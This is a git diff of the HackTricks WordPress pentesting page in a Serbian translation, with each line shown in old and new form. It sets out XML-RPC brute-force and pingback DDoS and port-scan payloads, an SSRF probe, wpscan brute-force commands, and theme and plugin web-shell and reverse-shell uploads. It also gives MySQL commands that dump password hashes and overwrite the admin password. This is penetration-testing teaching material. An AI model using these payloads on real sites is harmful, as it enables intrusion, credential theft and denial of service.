mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
5250feeebb
commit
96d656e6d6
@ -4,49 +4,49 @@
|
|||||||
|
|
||||||
## Osnovne informacije
|
## Osnovne informacije
|
||||||
|
|
||||||
- **Uploaded** fajlovi se nalaze na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
- **Otpremljene** datoteke idu u: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||||
- **Datoteke tema se mogu naći u /wp-content/themes/,** pa ako izmenite neki php u temi da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći temu **twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti tu putanju. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||||||
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||||
|
|
||||||
### **Glavne WordPress datoteke**
|
### **Glavni WordPress fajlovi**
|
||||||
|
|
||||||
- `index.php`
|
- `index.php`
|
||||||
- `license.txt` sadrži korisne informacije kao što je verzija instaliranog WordPress-a.
|
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
|
||||||
- `wp-activate.php` se koristi za proces aktivacije putem emaila prilikom podešavanja novog WordPress sajta.
|
- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
|
||||||
- Login fajlovi/putanje (mogu biti preimenovani da bi se sakrili):
|
- Login folderi (mogu biti preimenovani da bi se sakrili):
|
||||||
- `/wp-admin/login.php`
|
- `/wp-admin/login.php`
|
||||||
- `/wp-admin/wp-login.php`
|
- `/wp-admin/wp-login.php`
|
||||||
- `/login.php`
|
- `/login.php`
|
||||||
- `/wp-login.php`
|
- `/wp-login.php`
|
||||||
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovakva vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||||
- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i teme.
|
- Folder `wp-content` je glavni direktorijum u kome se čuvaju plugins i themes.
|
||||||
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
|
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi upload-ovani na platformu.
|
||||||
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
|
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgets.
|
||||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim objavama i javno upitnim tipovima postova i taksonomijama.
|
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno query-abilnim tipovima postova i taksonomijama.
|
||||||
|
|
||||||
**Post exploitation**
|
**Post exploitation**
|
||||||
|
|
||||||
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys and salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može iskoristiti za aktivaciju DEBUG moda, što može biti korisno pri otklanjanju problema.
|
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u da se poveže na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefix tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
|
||||||
|
|
||||||
### Korisničke dozvole
|
### Permissions korisnika
|
||||||
|
|
||||||
- **Administrator**
|
- **Administrator**
|
||||||
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||||
- **Author**: Objavljuje i upravlja svojim postovima
|
- **Author**: Objavljuje i upravlja sopstvenim postovima
|
||||||
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
|
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
|
||||||
- **Subscriber**: Pregleda postove i menja svoj profil
|
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||||
|
|
||||||
## **Pasivna enumeracija**
|
## **Passive Enumeration**
|
||||||
|
|
||||||
### **Dobijanje WordPress verzije**
|
### **Get WordPress version**
|
||||||
|
|
||||||
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
|
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
|
||||||
|
|
||||||
U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
Unutar **source code** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||||
|
|
||||||
- grep
|
- grep
|
||||||
```bash
|
```bash
|
||||||
@ -56,32 +56,32 @@ curl https://victim.com/ | grep 'content="WordPress'
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- CSS link files
|
- CSS link fajlovi
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- JavaScript files
|
- JavaScript fajlovi
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Preuzmi dodatke
|
### Preuzmi Plugins
|
||||||
```bash
|
```bash
|
||||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
```
|
```
|
||||||
### Dobavljanje tema
|
### Preuzmi teme
|
||||||
```bash
|
```bash
|
||||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
```
|
```
|
||||||
### Izvlačenje verzija uopšteno
|
### Ekstrakcija verzija uopšteno
|
||||||
```bash
|
```bash
|
||||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
|
|
||||||
```
|
```
|
||||||
## Aktivna enumeracija
|
## Aktivna enumeracija
|
||||||
|
|
||||||
### Plugins and Themes
|
### Dodaci i teme
|
||||||
|
|
||||||
Verovatno nećete moći da pronađete sve Plugins and Themes. Da biste otkrili sve, moraćete da **aktivno Brute Force listu Plugins and Themes** (nadamo se da postoje automatizovani alati koji sadrže te liste).
|
Verovatno nećete moći da pronađete sve dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadajmo se da postoje automatizovani alati koji sadrže te liste).
|
||||||
|
|
||||||
### Korisnici
|
### Korisnici
|
||||||
|
|
||||||
@ -99,15 +99,15 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim
|
|||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||||
```
|
```
|
||||||
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**.
|
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu opciju omogućenu**.
|
||||||
|
|
||||||
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
|
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
|
||||||
|
|
||||||
- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`**, **poruka** će biti **različita** u zavisnosti od toga da li navedeni **username** postoji ili ne.
|
- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** poruka je **različita** u zavisnosti od toga da li naznačeno **korisničko ime postoji ili ne**.
|
||||||
|
|
||||||
### XML-RPC
|
### XML-RPC
|
||||||
|
|
||||||
Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga iskoristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force kredencijala ili ga koristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||||
|
|
||||||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
|
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
|
||||||
|
|
||||||
@ -122,7 +122,7 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
|||||||
|
|
||||||
**Credentials Bruteforce**
|
**Credentials Bruteforce**
|
||||||
|
|
||||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete neku od njih, možete poslati nešto poput:
|
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** su neki od metoda koji se mogu koristiti za brute-force credentials. Ako možete pronaći bilo koji od njih, možete poslati nešto poput:
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>wp.getUsersBlogs</methodName>
|
<methodName>wp.getUsersBlogs</methodName>
|
||||||
@ -132,13 +132,13 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
Poruka _"Incorrect username or password"_ u odgovoru sa status kodom 200 treba da se pojavi ako pristupni podaci nisu validni.
|
Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba da se pojavi ako kredencijali nisu validni.
|
||||||
|
|
||||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Korišćenjem tačnih pristupnih podataka možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
Koristeći ispravne kredencijale možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||||
```html
|
```html
|
||||||
<?xml version='1.0' encoding='utf-8'?>
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
<methodCall>
|
<methodCall>
|
||||||
@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
|
|||||||
|
|
||||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Bypass 2FA**
|
**Zaobilaženje 2FA**
|
||||||
|
|
||||||
Ovaj metod je namenjen programima, a ne ljudima, i star je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz console, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
Ova metoda je namenjena programima, a ne ljudima, i zastarela je, pa ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći zloupotrebiti xmlrpc.php da se prijavite koristeći te creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz konzolu, ali ipak možete uspeti da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||||
|
|
||||||
**DDoS or port scanning**
|
**DDoS ili port scanning**
|
||||||
|
|
||||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
Ako u listi pronađete metodu _**pingback.ping**_, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
|
||||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port).
|
Ovo se može iskoristiti da naterate **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se u toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da **scan** neku internu **network** (možete navesti bilo koji port).
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>pingback.ping</methodName>
|
<methodName>pingback.ping</methodName>
|
||||||
@ -193,7 +193,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
|
|||||||
|
|
||||||
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
||||||
|
|
||||||
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
|
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu da prouzrokujete DDoS.
|
||||||
|
|
||||||
**DDoS**
|
**DDoS**
|
||||||
```html
|
```html
|
||||||
@ -209,15 +209,15 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako
|
|||||||
|
|
||||||
### wp-cron.php DoS
|
### wp-cron.php DoS
|
||||||
|
|
||||||
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
|
Ovaj fajl obično postoji pod root direktorijumom Wordpress sajta: **`/wp-cron.php`**\
|
||||||
Kada se pristupi ovom fajlu, izvrši se **intenzivan** MySQL **upit**, pa bi mogao biti iskorišćen od strane **attackers** da **izazove** **DoS**.\
|
Kada se ovaj fajl **pristupi**, izvršava se "**težak**" MySQL **upit**, pa može biti iskorišćen od strane **napadača** da **izazove** **DoS**.\
|
||||||
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
|
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
|
||||||
|
|
||||||
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
|
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
|
||||||
|
|
||||||
### /wp-json/oembed/1.0/proxy - SSRF
|
### /wp-json/oembed/1.0/proxy - SSRF
|
||||||
|
|
||||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt možda će napraviti zahtev ka vama.
|
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može napraviti zahtev ka vama.
|
||||||
|
|
||||||
This is the response when it doesn't work:
|
This is the response when it doesn't work:
|
||||||
|
|
||||||
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
|||||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||||
```
|
```
|
||||||
## Dobijte pristup prepisivanjem bita
|
## Dobijanje pristupa prepisivanjem jednog bita
|
||||||
|
|
||||||
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si promeniti 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si promeniti poziciju `5389` datoteke `/var/www/html/wp-includes/user.php` tako da se NOT (`!`) operacija pretvori u NOP.
|
Više radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da preokreneš 1 bit u bilo kom wordpress fajlu. Tako si mogao da preokreneš bit na poziciji `5389` u fajlu `/var/www/html/wp-includes/user.php` da bi NOP-ovao NOT (`!`) operator.
|
||||||
```php
|
```php
|
||||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||||
return new WP_Error(
|
return new WP_Error(
|
||||||
```
|
```
|
||||||
## **Panel RCE**
|
## **Panel RCE**
|
||||||
|
|
||||||
**Izmena php fajla iz korišćene teme (potrebni admin kredencijali)**
|
**Izmena php fajla iz korišćene teme (admin credentials needed)**
|
||||||
|
|
||||||
Appearance → Theme Editor → 404 Template (sa desne strane)
|
Appearance → Theme Editor → 404 Template (sa desne strane)
|
||||||
|
|
||||||
Zamenite sadržaj php fajla php shell-om:
|
Promenite sadržaj u php shell:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
### MSF
|
### MSF
|
||||||
|
|
||||||
@ -263,62 +263,62 @@ Možete koristiti:
|
|||||||
```bash
|
```bash
|
||||||
use exploit/unix/webapp/wp_admin_shell_upload
|
use exploit/unix/webapp/wp_admin_shell_upload
|
||||||
```
|
```
|
||||||
da biste dobili session.
|
da biste dobili sesiju.
|
||||||
|
|
||||||
## Plugin RCE
|
## Plugin RCE
|
||||||
|
|
||||||
### PHP plugin
|
### PHP plugin
|
||||||
|
|
||||||
It may be possible to upload .php files as a plugin.\
|
Može biti moguće otpremiti .php fajlove kao plugin.
|
||||||
Create your php backdoor using for example:
|
Kreirajte svoj php backdoor, na primer koristeći:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Then add a new plugin:
|
Zatim dodajte novi plugin:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Upload plugin and press Install Now:
|
Otpremajte plugin i kliknite Install Now:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Click on Procced:
|
Kliknite na Procced:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
Verovatno ovo neće naizgled ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Access it and you will see the URL to execute the reverse shell:
|
Pristupite mu i videćete URL za izvršenje reverse shell-a:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Uploading and activating malicious plugin
|
### Uploading and activating malicious plugin
|
||||||
|
|
||||||
Ovaj metod uključuje instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
|
Ova metoda uključuje instalaciju zlonamernog plugina koji je poznat kao ranjiv i može se iskoristiti za dobivanje web shell-a. Proces se izvodi kroz WordPress dashboard na sledeći način:
|
||||||
|
|
||||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
1. **Plugin Acquisition**: plugin se dobavlja iz izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374).
|
||||||
2. **Plugin Installation**:
|
2. **Plugin Installation**:
|
||||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
- Idite na WordPress dashboard, zatim na `Dashboard > Plugins > Upload Plugin`.
|
||||||
- Upload the zip file of the downloaded plugin.
|
- Otpremajte zip fajl preuzetog plugina.
|
||||||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran preko dashboard-a.
|
||||||
4. **Exploitation**:
|
4. **Exploitation**:
|
||||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može biti eksploatisan jer je poznato da je ranjiv.
|
||||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, čime se dobija neautorizovani pristup sajtu.
|
||||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
- Napominje se da je ovo samo jedan od mnogih načina da se iskoristi WordPress sajt.
|
||||||
|
|
||||||
Sadržaj uključuje vizuelne prikaze koji ilustruju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing sa izričitim dopuštenjem.
|
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovakav način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u zakonitom kontekstu, kao što je penetration testing uz izričitu dozvolu.
|
||||||
|
|
||||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||||
|
|
||||||
## From XSS to RCE
|
## From XSS to RCE
|
||||||
|
|
||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ona pruža podršku za Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
|
||||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj custom plugin (backdoor) u WordPress.
|
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress.
|
||||||
- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađene plugine u WordPress-u.
|
- _**(RCE) Built-In Plugin Edit:**_ Uređuje ugrađene plugine u WordPress-u.
|
||||||
- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađene teme u WordPress-u.
|
- _**(RCE) Built-In Theme Edit:**_ Uređuje ugrađene teme u WordPress-u.
|
||||||
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
|
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
|
||||||
|
|
||||||
## Post Exploitation
|
## Post Exploitation
|
||||||
@ -327,7 +327,7 @@ Ekstrahujte korisnička imena i lozinke:
|
|||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||||
```
|
```
|
||||||
Promeni administratorsku lozinku:
|
Promenite administratorsku lozinku:
|
||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||||
```
|
```
|
||||||
@ -335,13 +335,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
|||||||
|
|
||||||
### Površina napada
|
### Površina napada
|
||||||
|
|
||||||
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti. Način na koji plugin može izložiti funkcionalnost opisan je u sledećim tačkama, a primeri ranjivih pluginova nalaze se u [**ovom članku**](https://nowotarski.info/wordpress-nonce-authorization/).
|
Znanje o tome kako Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete pronaći načine na koje plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||||
|
|
||||||
- **`wp_ajax`**
|
- **`wp_ajax`**
|
||||||
|
|
||||||
